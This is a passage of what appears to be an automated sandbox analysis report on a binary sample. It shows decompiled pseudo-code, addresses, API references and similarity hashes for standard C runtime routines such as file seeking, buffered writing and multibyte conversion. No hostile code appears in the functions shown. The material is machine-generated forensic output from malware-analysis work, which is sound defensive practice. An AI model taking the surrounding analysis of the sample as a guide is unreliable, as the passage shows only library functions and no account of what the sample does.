                                        Function 0208C998, Relevance: 6.1, APIs: 4, Instructions: 148COMMON
                                        Download Yara Rule
                                        APIs
                                        • __fileno.LIBCMT ref: 0208C9CC
                                        • __locking.LIBCMT ref: 0208C9E1
                                          • Part of subcall function 0208C211: __getptd_noexit.LIBCMT ref: 0208C211
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: __fileno__getptd_noexit__locking
                                        • String ID:
                                        • API String ID: 630670418-0
                                        • Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                        • Instruction ID: f239f6775cf99b8c80a7033b8adb8f2f321724b19fed8d09de99e286b08e8880
                                        • Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
                                        • Instruction Fuzzy Hash: FF51F971E00705AFEB19EF68C88079EBBF5FF04358F148167D995A7280D370A940EBA0
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00405D00, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 97%
                                        			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}



















                                        0x00405d00
                                        0x00405d00
                                        0x00405d00
                                        0x00405d01
                                        0x00405d07
                                        0x00405e7f
                                        0x00405e7f
                                        0x00405e7f
                                        0x00405e83
                                        0x00405d0d
                                        0x00405d0d
                                        0x00405d14
                                        0x00000000
                                        0x00405d1a
                                        0x00405d1a
                                        0x00405d20
                                        0x00000000
                                        0x00405d2f
                                        0x00405d34
                                        0x00405d38
                                        0x00405dad
                                        0x00405db0
                                        0x00405db2
                                        0x00405db2
                                        0x00405db2
                                        0x00405db5
                                        0x00405db7
                                        0x00000000
                                        0x00405dbd
                                        0x00405dbd
                                        0x00405dc1
                                        0x00405df8
                                        0x00405dfb
                                        0x00405dfd
                                        0x00405e04
                                        0x00405e09
                                        0x00405e0c
                                        0x00405e0e
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00405dff
                                        0x00405dff
                                        0x00405e10
                                        0x00405e10
                                        0x00405e12
                                        0x00405e73
                                        0x00405e78
                                        0x00405e14
                                        0x00405e14
                                        0x00405e18
                                        0x00405e2e
                                        0x00405e2e
                                        0x00405e32
                                        0x00405e34
                                        0x00405e37
                                        0x00405e38
                                        0x00405e3c
                                        0x00405e43
                                        0x00405e45
                                        0x00405e45
                                        0x00405e43
                                        0x00405e4c
                                        0x00405e4e
                                        0x00000000
                                        0x00405e50
                                        0x00405e50
                                        0x00405e50
                                        0x00405e55
                                        0x00405e57
                                        0x00405e59
                                        0x00405e59
                                        0x00405e61
                                        0x00405e66
                                        0x00405e69
                                        0x00405e6b
                                        0x00000000
                                        0x00000000
                                        0x00405e6d
                                        0x00405e6f
                                        0x00405e71
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00405e71
                                        0x00000000
                                        0x00405e50
                                        0x00405e1a
                                        0x00405e1f
                                        0x00405e24
                                        0x00405e27
                                        0x00405e2a
                                        0x00405e2c
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00405e2c
                                        0x00405e18
                                        0x00405e12
                                        0x00405dc3
                                        0x00405dc9
                                        0x00405dcb
                                        0x00405dcc
                                        0x00405dcd
                                        0x00405dd4
                                        0x00405ddb
                                        0x00405ddd
                                        0x00405de5
                                        0x00405de7
                                        0x00000000
                                        0x00405ded
                                        0x00405ded
                                        0x00405df0
                                        0x00405df7
                                        0x00405df7
                                        0x00405de7
                                        0x00405dc1
                                        0x00405d3a
                                        0x00405d3c
                                        0x00405d3e
                                        0x00405d3e
                                        0x00405d43
                                        0x00405e79
                                        0x00405e7a
                                        0x00405e7a
                                        0x00405e7e
                                        0x00405d49
                                        0x00405d4d
                                        0x00405d77
                                        0x00405d79
                                        0x00405da7
                                        0x00405dac
                                        0x00405d7b
                                        0x00405d80
                                        0x00405d80
                                        0x00405d87
                                        0x00405d89
                                        0x00405d89
                                        0x00405d91
                                        0x00405d96
                                        0x00405d9b
                                        0x00000000
                                        0x00000000
                                        0x00405da1
                                        0x00405da5
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00405da5
                                        0x00000000
                                        0x00405d80
                                        0x00405d4f
                                        0x00405d54
                                        0x00405d59
                                        0x00405d5c
                                        0x00405d61
                                        0x00000000
                                        0x00405d67
                                        0x00405d6f
                                        0x00405d74
                                        0x00000000
                                        0x00405d74
                                        0x00405d61
                                        0x00405d4d
                                        0x00405d43
                                        0x00405d38
                                        0x00405d20
                                        0x00405d14
                                        0x00000000

                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: _fseek_malloc_memset
                                        • String ID:
                                        • API String ID: 208892515-0
                                        • Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
                                        • Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
                                        • Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
                                        • Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0040BAAA, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 91%
                                        			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}





























                                        0x0040baaa
                                        0x0040baba
                                        0x0040bae0
                                        0x00000000
                                        0x0040bac1
                                        0x0040bac1
                                        0x0040bac4
                                        0x0040bac6
                                        0x0040bae7
                                        0x0040baea
                                        0x0040baec
                                        0x00000000
                                        0x00000000
                                        0x0040baee
                                        0x0040baf3
                                        0x0040baf6
                                        0x0040baf9
                                        0x00000000
                                        0x00000000
                                        0x0040bafe
                                        0x0040bb02
                                        0x0040bb09
                                        0x0040bb0c
                                        0x0040bb0f
                                        0x0040bb11
                                        0x0040bb1b
                                        0x0040bb13
                                        0x0040bb16
                                        0x0040bb16
                                        0x0040bb22
                                        0x0040bb24
                                        0x0040bbe9
                                        0x00000000
                                        0x0040bb2a
                                        0x0040bb2a
                                        0x0040bb2d
                                        0x0040bb2d
                                        0x0040bb33
                                        0x0040bb64
                                        0x0040bb64
                                        0x0040bb67
                                        0x0040bbc0
                                        0x0040bbc7
                                        0x0040bbca
                                        0x0040bbf5
                                        0x0040bbf5
                                        0x0040bbf7
                                        0x00000000
                                        0x0040bbfb
                                        0x0040bbcc
                                        0x0040bbcf
                                        0x0040bbd2
                                        0x0040bbd3
                                        0x0040bbd6
                                        0x0040bbd8
                                        0x0040bbda
                                        0x0040bbda
                                        0x00000000
                                        0x0040bbd8
                                        0x0040bb69
                                        0x0040bb6b
                                        0x0040bb78
                                        0x0040bb78
                                        0x0040bb7c
                                        0x0040bb7e
                                        0x0040bb82
                                        0x0040bb84
                                        0x0040bb87
                                        0x0040bb87
                                        0x0040bb87
                                        0x0040bb89
                                        0x0040bb8a
                                        0x0040bb94
                                        0x0040bb95
                                        0x0040bb9a
                                        0x0040bb9d
                                        0x0040bba0
                                        0x0040bc03
                                        0x0040bc03
                                        0x0040bc07
                                        0x00000000
                                        0x0040bba2
                                        0x0040bba2
                                        0x0040bba4
                                        0x0040bba6
                                        0x0040bba8
                                        0x0040bba8
                                        0x0040bbaa
                                        0x0040bbad
                                        0x0040bbaf
                                        0x0040bbb1
                                        0x00000000
                                        0x0040bbb3
                                        0x0040bbb3
                                        0x0040bbb3
                                        0x00000000
                                        0x0040bbb3
                                        0x0040bbb1
                                        0x0040bba0
                                        0x0040bb6e
                                        0x0040bb74
                                        0x0040bb76
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x0040bb76
                                        0x0040bb35
                                        0x0040bb38
                                        0x0040bb3a
                                        0x00000000
                                        0x00000000
                                        0x0040bb3c
                                        0x0040bbf1
                                        0x0040bbf1
                                        0x0040bbf1
                                        0x00000000
                                        0x0040bbf1
                                        0x0040bb42
                                        0x0040bb44
                                        0x0040bb46
                                        0x0040bb48
                                        0x0040bb48
                                        0x0040bb50
                                        0x0040bb55
                                        0x0040bb58
                                        0x0040bb5a
                                        0x0040bb5d
                                        0x0040bb5f
                                        0x00000000
                                        0x0040bbe1
                                        0x0040bbe1
                                        0x0040bbe1
                                        0x00000000
                                        0x0040bb2a
                                        0x0040bb24
                                        0x0040bac8
                                        0x0040bac8
                                        0x0040bacd
                                        0x0040bace
                                        0x0040bacf
                                        0x0040bad0
                                        0x0040bad1
                                        0x0040bad2
                                        0x0040bad8
                                        0x00000000
                                        0x0040badd

                                        APIs
                                        • __flush.LIBCMT ref: 0040BB6E
                                        • __fileno.LIBCMT ref: 0040BB8E
                                        • __locking.LIBCMT ref: 0040BB95
                                        • __flsbuf.LIBCMT ref: 0040BBC0
                                          • Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1
                                          • Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
                                        • String ID:
                                        • API String ID: 3240763771-0
                                        • Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                        • Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
                                        • Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                        • Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02085F50, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: _fseek_malloc_memset
                                        • String ID:
                                        • API String ID: 208892515-0
                                        • Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
                                        • Instruction ID: 8560ca3ad0e97b8c7bbc700f7341acbfa45cf3fbbe2a6be264477f0c314aee24
                                        • Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
                                        • Instruction Fuzzy Hash: 4E41E572600F018AD772AA2DAD0075776EA9F80328F160B2DE5E6C77D1E732E449EF45
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208BCFA, Relevance: 6.1, APIs: 4, Instructions: 137COMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: __fileno__flsbuf__flush__getptd_noexit__locking
                                        • String ID:
                                        • API String ID: 1291973410-0
                                        • Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                        • Instruction ID: 9120de1849df79bd5ab4c00f85d3417968d74145e8145b01110dfb88777acfab
                                        • Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
                                        • Instruction Fuzzy Hash: 0C41B332A00B04EFDB65AF69C88469FBBF6EF80368F248529D495D7240F770DA41EB40
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0041529F, Relevance: 6.1, APIs: 4, Instructions: 103COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

















                                        0x004152a9
                                        0x004152b0
                                        0x004152c7
                                        0x00000000
                                        0x004152b7
                                        0x004152b9
                                        0x004152d3
                                        0x004152d8
                                        0x004152db
                                        0x004152de
                                        0x00415307
                                        0x0041530e
                                        0x00415310
                                        0x00415391
                                        0x004153ac
                                        0x004153ae
                                        0x004152ee
                                        0x004152ee
                                        0x004152f1
                                        0x004152f3
                                        0x004152f6
                                        0x004152f6
                                        0x004152f6
                                        0x004152f6
                                        0x00000000
                                        0x004152fc
                                        0x00415370
                                        0x00415370
                                        0x00415375
                                        0x0041537b
                                        0x0041537e
                                        0x00415380
                                        0x00415383
                                        0x00415383
                                        0x00415383
                                        0x00415383
                                        0x00000000
                                        0x00415387
                                        0x00415312
                                        0x00415315
                                        0x0041531b
                                        0x0041531e
                                        0x00415345
                                        0x00415348
                                        0x0041534e
                                        0x00000000
                                        0x00000000
                                        0x00415350
                                        0x00415353
                                        0x00000000
                                        0x00000000
                                        0x00415355
                                        0x00415355
                                        0x0041535b
                                        0x0041535e
                                        0x004152cc
                                        0x004152cc
                                        0x00415367
                                        0x00000000
                                        0x00415367
                                        0x00415320
                                        0x00415323
                                        0x00000000
                                        0x00000000
                                        0x00415327
                                        0x00415338
                                        0x0041533e
                                        0x00415340
                                        0x00415343
                                        0x00000000
                                        0x00000000
                                        0x00000000
                                        0x00415343
                                        0x004152e0
                                        0x004152e3
                                        0x004152e5
                                        0x004152eb
                                        0x004152eb
                                        0x00000000
                                        0x004152bb
                                        0x004152bb
                                        0x004152c0
                                        0x004152c4
                                        0x004152c4
                                        0x00000000
                                        0x004152c0
                                        0x004152b9

                                        APIs
                                        • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
                                        • __isleadbyte_l.LIBCMT ref: 00415307
                                        • MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
                                        • MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                        • String ID:
                                        • API String ID: 3058430110-0
                                        • Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                        • Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
                                        • Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                        • Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020954EF, Relevance: 6.1, APIs: 4, Instructions: 103COMMON
                                        Download Yara Rule
                                        APIs
                                        • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 02095523
                                        • __isleadbyte_l.LIBCMT ref: 02095557
                                        • MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 02095588
                                        • MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 020955F6
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                        • String ID:
                                        • API String ID: 3058430110-0
                                        • Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                        • Instruction ID: 68d5b173dbe9da8da7f05b118626d57381f62443d06a826e3e9919a319d87f9e
                                        • Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
                                        • Instruction Fuzzy Hash: B531BF71614345EFDF22DF65CCA0AAE3FF2AF00314B948569E4668B1A2E730D940FB50
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 004134DB, Relevance: 6.0, APIs: 4, Instructions: 49COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}






                                        0x004134e0
                                        0x004134e6
                                        0x00413559
                                        0x00000000
                                        0x004134ed
                                        0x004134ed
                                        0x004134f0
                                        0x0041350b
                                        0x0041350e
                                        0x0041352e
                                        0x00413540
                                        0x00413510
                                        0x00413510
                                        0x00413513
                                        0x00000000
                                        0x00413515
                                        0x00413527
                                        0x00413527
                                        0x00413513
                                        0x0041355e
                                        0x00413562
                                        0x004134f2
                                        0x0041350a
                                        0x0041350a
                                        0x004134f0

                                        APIs
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: __cftoe_l__cftof_l__cftog_l__fltout2
                                        • String ID:
                                        • API String ID: 3016257755-0
                                        • Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                        • Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
                                        • Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
                                        • Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89
                                        Uniqueness

                                        Uniqueness Score: -1.00%

